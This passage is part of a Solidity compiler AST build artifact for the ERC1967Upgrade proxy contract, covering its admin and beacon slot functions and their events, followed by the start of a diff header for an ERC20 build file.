StorageSlot)"}},"id":46943,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4462:14:26","memberName":"getAddressSlot","nodeType":"MemberAccess","referencedDeclaration":48307,"src":"4450:26:26","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$48287_storage_ptr_$","typeString":"function (bytes32) pure returns (struct StorageSlot.AddressSlot storage pointer)"}},"id":46945,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4450:39:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$48287_storage_ptr","typeString":"struct StorageSlot.AddressSlot storage pointer"}},"id":46946,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"4490:5:26","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":48286,"src":"4450:45:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":46947,"name":"newAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46928,"src":"4498:8:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"4450:56:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":46949,"nodeType":"ExpressionStatement","src":"4450:56:26"}]},"documentation":{"id":46926,"nodeType":"StructuredDocumentation","src":"4236:71:26","text":" @dev Stores a new address in the EIP1967 admin slot."},"implemented":true,"kind":"function","modifiers":[],"name":"_setAdmin","nameLocation":"4321:9:26","parameters":{"id":46929,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46928,"mutability":"mutable","name":"newAdmin","nameLocation":"4339:8:26","nodeType":"VariableDeclaration","scope":46951,"src":"4331:16:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46927,"name":"address","nodeType":"ElementaryTypeName","src":"4331:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4330:18:26"},"returnParameters":{"id":46930,"nodeType":"ParameterList","parameters":[],"src":"4357:0:26"},"scope":47065,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":46968,"nodeType":"FunctionDefinition","src":"4624:135:26","nodes":[],"body":{"id":46967,"nodeType":"Block","src":"4673:86:26","nodes":[],"statements":[{"eventCall":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":46958,"name":"_getAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46925,"src":"4701:9:26","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":46959,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4701:11:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":46960,"name":"newAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46954,"src":"4714:8:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":46957,"name":"AdminChanged","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46912,"src":"4688:12:26","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address)"}},"id":46961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4688:35:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46962,"nodeType":"EmitStatement","src":"4683:40:26"},{"expression":{"arguments":[{"id":46964,"name":"newAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46954,"src":"4743:8:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46963,"name":"_setAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46951,"src":"4733:9:26","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":46965,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4733:19:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46966,"nodeType":"ExpressionStatement","src":"4733:19:26"}]},"documentation":{"id":46952,"nodeType":"StructuredDocumentation","src":"4519:100:26","text":" @dev Changes the admin of the proxy.\n Emits an {AdminChanged} event."},"implemented":true,"kind":"function","modifiers":[],"name":"_changeAdmin","nameLocation":"4633:12:26","parameters":{"id":46955,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46954,"mutability":"mutable","name":"newAdmin","nameLocation":"4654:8:26","nodeType":"VariableDeclaration","scope":46968,"src":"4646:16:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46953,"name":"address","nodeType":"ElementaryTypeName","src":"4646:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4645:18:26"},"returnParameters":{"id":46956,"nodeType":"ParameterList","parameters":[],"src":"4673:0:26"},"scope":47065,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":46972,"nodeType":"VariableDeclaration","src":"5002:107:26","nodes":[],"constant":true,"documentation":{"id":46969,"nodeType":"StructuredDocumentation","src":"4765:232:26","text":" @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.\n This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor."},"mutability":"constant","name":"_BEACON_SLOT","nameLocation":"5028:12:26","scope":47065,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46970,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5002:7:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"hexValue":"307861336630616437346535343233616562666438306433656634333436353738333335613961373261656165653539666636636233353832623335313333643530","id":46971,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5043:66:26","typeDescriptions":{"typeIdentifier":"t_rational_74152234768234802001998023604048924213078445070507226371336425913862612794704_by_1","typeString":"int_const 7415...(69 digits omitted)...4704"},"value":"0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50"},"visibility":"internal"},{"id":46977,"nodeType":"EventDefinition","src":"5181:45:26","nodes":[],"anonymous":false,"documentation":{"id":46973,"nodeType":"StructuredDocumentation","src":"5116:60:26","text":" @dev Emitted when the beacon is upgraded."},"eventSelector":"1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e","name":"BeaconUpgraded","nameLocation":"5187:14:26","parameters":{"id":46976,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46975,"indexed":true,"mutability":"mutable","name":"beacon","nameLocation":"5218:6:26","nodeType":"VariableDeclaration","scope":46977,"src":"5202:22:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46974,"name":"address","nodeType":"ElementaryTypeName","src":"5202:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5201:24:26"}},{"id":46990,"nodeType":"FunctionDefinition","src":"5288:124:26","nodes":[],"body":{"id":46989,"nodeType":"Block","src":"5342:70:26","nodes":[],"statements":[{"expression":{"expression":{"arguments":[{"id":46985,"name":"_BEACON_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46972,"src":"5386:12:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":46983,"name":"StorageSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48341,"src":"5359:11:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_StorageSlot_$48341_$","typeString":"type(library StorageSlot)"}},"id":46984,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5371:14:26","memberName":"getAddressSlot","nodeType":"MemberAccess","referencedDeclaration":48307,"src":"5359:26:26","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$48287_storage_ptr_$","typeString":"function (bytes32) pure returns (struct StorageSlot.AddressSlot storage pointer)"}},"id":46986,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5359:40:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$48287_storage_ptr","typeString":"struct StorageSlot.AddressSlot storage pointer"}},"id":46987,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5400:5:26","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":48286,"src":"5359:46:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":46982,"id":46988,"nodeType":"Return","src":"5352:53:26"}]},"documentation":{"id":46978,"nodeType":"StructuredDocumentation","src":"5232:51:26","text":" @dev Returns the current beacon."},"implemented":true,"kind":"function","modifiers":[],"name":"_getBeacon","nameLocation":"5297:10:26","parameters":{"id":46979,"nodeType":"ParameterList","parameters":[],"src":"5307:2:26"},"returnParameters":{"id":46982,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46981,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":46990,"src":"5333:7:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46980,"name":"address","nodeType":"ElementaryTypeName","src":"5333:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5332:9:26"},"scope":47065,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":47026,"nodeType":"FunctionDefinition","src":"5494:371:26","nodes":[],"body":{"id":47025,"nodeType":"Block","src":"5541:324:26","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":46999,"name":"newBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46993,"src":"5578:9:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":46997,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48259,"src":"5559:7:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$48259_$","typeString":"type(library Address)"}},"id":46998,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5567:10:26","memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":47982,"src":"5559:18:26","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":47000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5559:29:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"455243313936373a206e657720626561636f6e206973206e6f74206120636f6e7472616374","id":47001,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5590:39:26","typeDescriptions":{"typeIdentifier":"t_stringliteral_9589b7809634e4928033de18bb696e9af4ef71b703652af5245f2dbebf2f4470","typeString":"literal_string \"ERC1967: new beacon is not a contract\""},"value":"ERC1967: new beacon is not a contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_9589b7809634e4928033de18bb696e9af4ef71b703652af5245f2dbebf2f4470","typeString":"literal_string \"ERC1967: new beacon is not a contract\""}],"id":46996,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5551:7:26","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47002,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5551:79:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47003,"nodeType":"ExpressionStatement","src":"5551:79:26"},{"expression":{"arguments":[{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":47008,"name":"newBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46993,"src":"5688:9:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":47007,"name":"IBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47127,"src":"5680:7:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IBeacon_$47127_$","typeString":"type(contract IBeacon)"}},"id":47009,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5680:18:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IBeacon_$47127","typeString":"contract IBeacon"}},"id":47010,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5699:14:26","memberName":"implementation","nodeType":"MemberAccess","referencedDeclaration":47126,"src":"5680:33:26","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":47011,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5680:35:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":47005,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48259,"src":"5661:7:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$48259_$","typeString":"type(library Address)"}},"id":47006,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5669:10:26","memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":47982,"src":"5661:18:26","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":47012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5661:55:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"455243313936373a20626561636f6e20696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374","id":47013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5730:50:26","typeDescriptions":{"typeIdentifier":"t_stringliteral_f95fd1f5b5578816eb23f6ca0f2439b4b5e4094dc16e99c3b8e91603a83f93c8","typeString":"literal_string \"ERC1967: beacon implementation is not a contract\""},"value":"ERC1967: beacon implementation is not a contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f95fd1f5b5578816eb23f6ca0f2439b4b5e4094dc16e99c3b8e91603a83f93c8","typeString":"literal_string \"ERC1967: beacon implementation is not a contract\""}],"id":47004,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5640:7:26","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5640:150:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47015,"nodeType":"ExpressionStatement","src":"5640:150:26"},{"expression":{"id":47023,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"arguments":[{"id":47019,"name":"_BEACON_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46972,"src":"5827:12:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":47016,"name":"StorageSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48341,"src":"5800:11:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_StorageSlot_$48341_$","typeString":"type(library StorageSlot)"}},"id":47018,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5812:14:26","memberName":"getAddressSlot","nodeType":"MemberAccess","referencedDeclaration":48307,"src":"5800:26:26","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$48287_storage_ptr_$","typeString":"function (bytes32) pure returns (struct StorageSlot.AddressSlot storage pointer)"}},"id":47020,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5800:40:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$48287_storage_ptr","typeString":"struct StorageSlot.AddressSlot storage pointer"}},"id":47021,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"5841:5:26","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":48286,"src":"5800:46:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":47022,"name":"newBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46993,"src":"5849:9:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"5800:58:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":47024,"nodeType":"ExpressionStatement","src":"5800:58:26"}]},"documentation":{"id":46991,"nodeType":"StructuredDocumentation","src":"5418:71:26","text":" @dev Stores a new beacon in the EIP1967 beacon slot."},"implemented":true,"kind":"function","modifiers":[],"name":"_setBeacon","nameLocation":"5503:10:26","parameters":{"id":46994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46993,"mutability":"mutable","name":"newBeacon","nameLocation":"5522:9:26","nodeType":"VariableDeclaration","scope":47026,"src":"5514:17:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46992,"name":"address","nodeType":"ElementaryTypeName","src":"5514:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5513:19:26"},"returnParameters":{"id":46995,"nodeType":"ParameterList","parameters":[],"src":"5541:0:26"},"scope":47065,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":47064,"nodeType":"FunctionDefinition","src":"6168:343:26","nodes":[],"body":{"id":47063,"nodeType":"Block","src":"6294:217:26","nodes":[],"statements":[{"expression":{"arguments":[{"id":47037,"name":"newBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47029,"src":"6315:9:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":47036,"name":"_setBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47026,"src":"6304:10:26","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":47038,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6304:21:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47039,"nodeType":"ExpressionStatement","src":"6304:21:26"},{"eventCall":{"arguments":[{"id":47041,"name":"newBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47029,"src":"6355:9:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":47040,"name":"BeaconUpgraded","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46977,"src":"6340:14:26","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":47042,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6340:25:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47043,"nodeType":"EmitStatement","src":"6335:30:26"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":47049,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47047,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":47044,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47031,"src":"6379:4:26","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":47045,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6384:6:26","memberName":"length","nodeType":"MemberAccess","src":"6379:11:26","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":47046,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6393:1:26","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"6379:15:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"id":47048,"name":"forceCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47033,"src":"6398:9:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"6379:28:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":47062,"nodeType":"IfStatement","src":"6375:130:26","trueBody":{"id":47061,"nodeType":"Block","src":"6409:96:26","statements":[{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":47054,"name":"newBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47029,"src":"6460:9:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":47053,"name":"IBeacon","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47127,"src":"6452:7:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IBeacon_$47127_$","typeString":"type(contract IBeacon)"}},"id":47055,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6452:18:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IBeacon_$47127","typeString":"contract IBeacon"}},"id":47056,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6471:14:26","memberName":"implementation","nodeType":"MemberAccess","referencedDeclaration":47126,"src":"6452:33:26","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":47057,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6452:35:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47058,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47031,"src":"6489:4:26","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":47050,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48259,"src":"6423:7:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$48259_$","typeString":"type(library Address)"}},"id":47052,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6431:20:26","memberName":"functionDelegateCall","nodeType":"MemberAccess","referencedDeclaration":48192,"src":"6423:28:26","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory) returns (bytes memory)"}},"id":47059,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6423:71:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":47060,"nodeType":"ExpressionStatement","src":"6423:71:26"}]}}]},"documentation":{"id":47027,"nodeType":"StructuredDocumentation","src":"5871:292:26","text":" @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does\n not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).\n Emits a {BeaconUpgraded} event."},"implemented":true,"kind":"function","modifiers":[],"name":"_upgradeBeaconToAndCall","nameLocation":"6177:23:26","parameters":{"id":47034,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47029,"mutability":"mutable","name":"newBeacon","nameLocation":"6218:9:26","nodeType":"VariableDeclaration","scope":47064,"src":"6210:17:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47028,"name":"address","nodeType":"ElementaryTypeName","src":"6210:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47031,"mutability":"mutable","name":"data","nameLocation":"6250:4:26","nodeType":"VariableDeclaration","scope":47064,"src":"6237:17:26","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":47030,"name":"bytes","nodeType":"ElementaryTypeName","src":"6237:5:26","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":47033,"mutability":"mutable","name":"forceCall","nameLocation":"6269:9:26","nodeType":"VariableDeclaration","scope":47064,"src":"6264:14:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47032,"name":"bool","nodeType":"ElementaryTypeName","src":"6264:4:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6200:84:26"},"returnParameters":{"id":47035,"nodeType":"ParameterList","parameters":[],"src":"6294:0:26"},"scope":47065,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"}],"abstract":true,"baseContracts":[],"canonicalName":"ERC1967Upgrade","contractDependencies":[],"contractKind":"contract","documentation":{"id":46754,"nodeType":"StructuredDocumentation","src":"292:236:26","text":" @dev This abstract contract provides getters and event emitting update functions for\n https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.\n _Available since v4.1._\n @custom:oz-upgrades-unsafe-allow delegatecall"},"fullyImplemented":true,"linearizedBaseContracts":[47065],"name":"ERC1967Upgrade","nameLocation":"547:14:26","scope":47066,"usedErrors":[],"usedEvents":[46766,46912,46977]}],"license":"MIT"},"id":26} \ No newline at end of file diff --git a/contracts/out/ERC20.sol/ERC20.json b/contracts/out/ERC20.sol/ERC20.json new file mode 100644 index 000000000..df263092d --- /dev/null +++ b/contracts/out/ERC20.sol/ERC20.json @@ -0,0 +1 @@ 